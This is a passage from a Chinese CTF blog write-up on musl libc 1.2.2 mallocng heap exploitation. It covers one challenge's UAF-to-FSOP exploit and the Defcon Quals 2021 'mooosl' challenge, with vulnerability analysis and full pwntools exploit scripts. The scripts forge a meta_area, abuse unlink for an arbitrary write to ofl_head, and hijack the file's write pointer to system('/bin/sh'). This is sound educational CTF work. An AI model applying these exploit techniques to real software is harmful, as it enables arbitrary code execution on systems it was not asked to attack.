users->rightUser->parentUser = newUser;
if ( users->parentUser != (User *)0xDEADBEEFLL )
{
if ( users == users->parentUser->leftUser )
users->parentUser->leftUser = newUser;
else
users->parentUser->rightUser = newUser;
}
free(users->name);
free(users);
return;
}
...
}

在添加 user 的时候,如果有 id 相同的 user,会把原来的 user 释放掉,但是 users 会指向原来的 user,造成 UAF

  1. 先泄露出 libc 和 elf 地址
  2. 上面的第 13 行可以任意地址写一次,把 ofl_head 修改到可控位置
  3. 伪造 fake_file
  4. 最后 exit 进行 FSOP

最后写 fake_file 的时候要多次堆风水

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
# p = remote('', )
p = process('./' + __file__[0:-3])
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(__file__[0:-3])
libc = ELF("./libc.so")

addr_insert = elf.sym["insert"]

def add(id, length, name):
p.recvuntil(b": ")
p.sendline(b"1")
p.recvuntil(b"Id: ")
p.sendline(str(id))
p.recvuntil(b"length: ")
p.sendline(str(length))
p.recvuntil(b"UserName: ")
p.send(name)

def check(id):
p.recvuntil(b": ")
p.sendline(b"2")
p.recvuntil(b"Id: ")
p.sendline(str(id))

def delete(id):
p.recvuntil(b": ")
p.sendline(b"3")
p.recvuntil(b"Id: ")
p.sendline(str(id))

def clear():
p.recvuntil(b": ")
p.sendline(b"4")

def fengshui(times=1, length=0x8, name="aaad\n", id=0):
for _ in range(times):
add(id, length, name)
id += 1

# gdb.attach(p)

## leak addr
add(0x100, 0x38, "aaad\n") # users
add(0x100, 0x8, "aaad\n")
fengshui(6)
check(0x100)

addr_elf = u64(p.recv(0x10)[-8:]) - 0x5ca0
addr_libc = u64(p.recv(0x20)[-8:]) - 0xb7d60
print("-> addr_elf = ", hex(addr_elf))
print("-> addr_libc = ", hex(addr_libc))

addr_system = addr_libc + libc.sym["system"]
addr_ofl_head = addr_libc + 0xb6e48

## write ofl_head to fake_file
clear()
add(0x6873, 0x38, "aaad\n") # users
add(0x6873, 0x8, "aaad\n")
fengshui(6)
fake_user = p64(0x6873) + p64(addr_libc + 0xb7a60) + p64(0) + p64(1)
fake_user += p64(0xdeadbeef) + p64(addr_ofl_head - 0x20) + p64(0)
add(0x6873, 0x38, fake_user) # user->name --> users

## construct fake_file
clear()
# gdb.attach(p)
add(0x6873, 0x38, p64(addr_system) * 7) # ofl_head[0] = "sh"
add(0x100, 0x8, "aaad\n")
add(0x100, 0x38, p64(0) * 7) # ofl_head->lock = 0
fengshui(3)
add(0x50, 0x38, p64(addr_system) * 7) # ofl_head->write = system
p.sendline()

p.interactive()

Defcon Quals 2021 mooosl

用的本地 libc,musl 1.2.2-4 amd64

静态分析

一个典型的菜单题,存储 KV

1
2
3
4
5
6
7
8
struct KV {
char *key;
char *value;
__int64 key_size;
__int64 value_size;
__int64 hash;
KV *next_KV;
};

store

每次存储一个 KV,再申请 key 和 value 内存,计算 key 的 hash,取 hash 后 12 位将其放入 hash_map 中,用单链表存储 hash 后 12 位相同的 KV,头插法

可用于堆风水

query

先申请 key 内存,然后根据 key 的 hash 在 hash_map 中寻找对应的 KV,输出 value 内容,最后将 key 内存 free

可用于 堆风水

delete

先申请 key 内存,然后根据 key 的 hash 在 hash_map 中寻找对应的 KV,进行删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kv = search(key, key_size);
if ( kv )
{
chain = &hash_map[kv->hash & 0xFFF];
// 这里忽略了一个条件,当 kv 是链表尾的时候,上一个 kv 的 next_KV 没有置零,导致 UAF
if ( kv == *chain || kv->next_KV )
{
while ( kv != *chain )
chain = &(*chain)->next_KV;
*chain = kv->next_KV;
}
free(kv->key);
free(kv->value);
free(kv);
puts("ok");
}

利用点

  1. 申请两个 hash 后 12 位相同的 kv,delete 后面一个造成 UAF
  2. 通过堆风水和 query 泄露出重要信息
  3. 再通过堆风水和 delete,伪造 meta_area,通过 unsafe_unlink 任意地址写
    • 主要是通过 delete 的 free(kv->key) 或 free(kv->value) 来 unlink
    • 因为这两个指针可以任意写(笔者想了好久死活没想出来)
  4. 通过改写 ofl_head 指向伪造的 file 最后 exit 导致 FSOP
    • 下面是看别人 wp 是做法,要写三次,伪造三次(逆天)
    • 通过改写 stdout 的 write 函数指针为 system 和 flags 为 /bin/sh\x00,并使 wpos != wbase 即可导致 FSOP 拿到 shell

思路很简单,但是 exp 是真的难写😭😭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
address = "".split(':')
filename = "./" + __file__[0:-3]
elf = ELF(__file__[0:-3])
# p = remote(address[0], address[1])
p = process(__file__[0:-3])
libc = ELF("/usr/lib/x86_64-linux-musl/libc.so")


def store(key, value, key_size=None, value_size=None):
p.recvuntil(b"option: ")
p.sendline(b"1")
p.recvuntil(b"size: ")
if key_size == None :
key_size = len(key)
p.sendline(str(key_size).encode())
p.recvuntil(b"content: ")
p.send(key)
p.recvuntil(b"size: ")
if value_size == None :
value_size = len(value)
p.sendline(str(value_size).encode())
p.recvuntil(b"content: ")
p.send(value)

def query(key, key_size=None):
p.recvuntil(b"option: ")
p.sendline(b"2")
p.recvuntil(b"size: ")
if key_size == None :
key_size = len(key)
p.sendline(str(key_size).encode())
p.recvuntil(b"content: ")
p.send(key)

def delete(key, key_size=None):
p.recvuntil(b"option: ")
p.sendline(b"3")
p.recvuntil(b"size: ")
if key_size == None :
key_size = len(key)
p.sendline(str(key_size).encode())
p.recvuntil(b"content: ")
p.send(key)

def exit():
p.recvuntil(b"option: ")
p.sendline(b"4")

def calc(key):
vi = 2021
for i in range(len(key)):
vi = 0x13377331 * vi + key[i]
return vi & 0xfff

def find_key(key=b"hhhh", size=4):
while True:
new_key = (int((random.random()) * int((b"\xff" * size).hex(), 16)) % int((b"\xff" * size).hex(), 16))
if calc(key) == calc(new_key.to_bytes(size, "little")) :
return new_key.to_bytes(size, "little")

def fengshui1(n):
for _ in range(n):
store(b"victim", b"victim")

def fengshui2(n):
for _ in range(n):
query(b"h" * 0x30)

def get_leak():
info = b""
for i in range(8):
info = p.recv(2) + info
return int(info, 16)

# -- leak info --
fengshui1(1)
fengshui2(5) # AFFFFFU

# leak elf & libc
store(b"hhhh", b"a" * 0x30) # [U]AAAA(U)U [U] is KV, (U) is KV->value
store(find_key(), b"aaaa")
delete(b"hhhh") # [F]AAAUFU

fengshui2(3) # FFFFUFU
store(b"H\n", b"H", 0x1000) # AAAAU[U]U [U] is the chunk we can get

query(b"hhhh")

p.recvuntil(b":")
addr_mmap = get_leak() - 0x20
addr_libc = addr_mmap + 0x4000
addr_malloc_context = addr_libc + 0xad9c0
addr_elf = get_leak() - 0xc8d0
addr_hhhh = addr_elf + 0xc890
addr_KV = addr_elf + 0xcde0

# leak secret
delete(b"H") # AAAAUFU
fengshui2(2) # AAFFUFU
KV = p64(addr_hhhh) + p64(addr_malloc_context) + p64(4) + p64(0x30) + p64(0x69052445) + p64(0)
store(KV, b"victim") # UUFFUFU
query(b"hhhh")

p.recvuntil(b":")
secret = get_leak()
get_leak()
addr_heap = get_leak() - 0x180

success("addr_elf: " + hex(addr_elf))
success("addr_mmap: " + hex(addr_mmap))
success("addr_libc: " + hex(addr_libc))
success("secret: " + hex(secret))

# -- construct --

delete(KV) # FFAAUFU

addr_system = addr_libc + libc.sym["system"]
addr_ofl_head = addr_libc + 0xafd48
addr_fake_meta_area = addr_mmap + 0x1000
addr_fake_meta = addr_fake_meta_area + 0x18
addr_fake_group = addr_fake_meta + 0x28
addr_fake_chunk = addr_fake_group + 0x10

last_idx = 0
freeable = 1
sc = 8 # 0x90
maplen = 1
fake_meta = p64(addr_fake_chunk) # prev
fake_meta += p64(addr_ofl_head) # next
fake_meta += p64(addr_fake_group) # mem
fake_meta += p64(0) # avail & freed mask
fake_meta += p64(last_idx | freeable << 5 | sc << 6 | maplen << 12)

active_idx = 0
fake_group = p64(addr_fake_meta)
fake_group += p64(active_idx)

fake_chunk = b"/bin/sh\x00"
fake_chunk += p64(0) * 7
fake_chunk += p64(addr_system) * 7


fake_meta_area = b"h" * 0xfd0
fake_meta_area += p64(secret) # check
fake_meta_area += p64(0) # next
fake_meta_area += p64(1)

payload = fake_meta_area
payload += fake_meta
payload += fake_group
payload += fake_chunk
payload += b"\n"

store(payload, b"victim", 0x1200) # FFAUUFU
store(b"victim", b"hhhh")
fengshui2(1) # AAUUUFU
addr_hhhh = addr_hhhh + 0xb0
KV = p64(addr_hhhh) + p64(addr_fake_chunk) + p64(4) + p64(0x80) + p64(0x69052445) + p64(0)
store(KV, b"victim")
gdb.attach(p)
delete(b"hhhh")

exit()

p.interactive()

参考

musl libc 堆管理器 mallocng 详解 (Part I)

从musl libc 1.1.24到1.2.2 学习pwn姿势

[阅读型]新版musl libc(1.2.2)堆管理之源码剖析!

[原创]musl 1.2.2 总结+源码分析 One

新版musl libc 浅析

2022-强网杯初赛-Writeup-By-Xp0int

借助DefCon Quals 2021的mooosl学习musl mallocng

作者

Humoooor

发布于

2022-10-10

更新于

2023-10-04

许可协议

评论